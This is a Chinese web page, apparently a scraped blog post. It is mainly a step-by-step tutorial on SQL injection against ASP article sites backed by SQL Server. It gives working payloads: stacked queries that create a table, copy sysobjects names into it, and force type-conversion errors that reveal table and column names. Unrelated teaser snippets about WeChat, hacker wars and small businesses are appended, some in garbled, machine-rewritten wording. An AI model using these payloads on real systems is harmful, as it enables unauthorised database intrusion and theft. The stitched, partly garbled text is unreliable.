大家在是否碰到过这样的站点:
全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。。
我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。
攻击 *** :
查看源文件/看里面是否有通过 *** 来调用的页面。
如调用来更新文章的浏览次数。
我们就可以这样来试一下可否注入:
http://服务器域名/count.asp?id=1552’
看一下是否出错。如出错说明有注入漏洞。然后正常攻击。
在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)
post.htm内容:主要是方便输入。
对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
然后插入一条记录:id=1552;insert into aaa values(’test’);--
再之后枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
这是将之一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
/search.asp,行21
其中vote就是表名:
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。
读出之一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
最近表妹在微信上跟我吐槽:“工作遥遥无期,每天在家又闲得发慌,真是好烦啊!” 我说:“表妹啊,虽然你在家很闲,老板给你开工资,但是公司可不是慈善机构,不可能一直给你开工资,万一哪天你公司破产了,或者...
微信或许是咱们现在每天触摸最多的社交工具。 虽然每天都在运用,但仍有一些躲藏但实用的小功用还没有被咱们发现。 今天,九美将本着共享的精神,将这些平时或许会用到的小功用介绍给咱们。 最用心的小功用...
本文导读目录: 1、拼多多“天才黑客”疑被强制开除,这位黑客大佬究竟什么来头? 2、2008年中美黑客大战是怎么回事 3、2001年5月那场轰动全球的中美黑客大战哪国损失比较大?? 4、1...
本文是这些年做产物总结的一些容易碰着的问题和踩过的坑,第一次写文章,还请列位包容! 一、任何项目都要配置Deadline 配置产物的Deadline是每一位产物人的知识,但事情进程傍边不免照旧会碰着...
随着互联网的发展,开网店的人变得越来越多,都认为现在电商商机无限。但是其中也不乏一些开了网店却没有赚到钱的人,所以说如何开网店其实没那么简单,而想要开好一家网店其实是一门技术活。那么,在现在竞争力...
连年来鲜榨果汁等天然康健的饮品受到了各地消费者的喜爱,在市场上销量不绝增加。鲜榨果汁行业的火爆市场吸引了浩瀚投资者的存眷,纷纷想要加盟一家鲜榨果汁店,但是鲜榨果汁加盟店挣钱吗?开鲜榨果汁店有优势吗?下...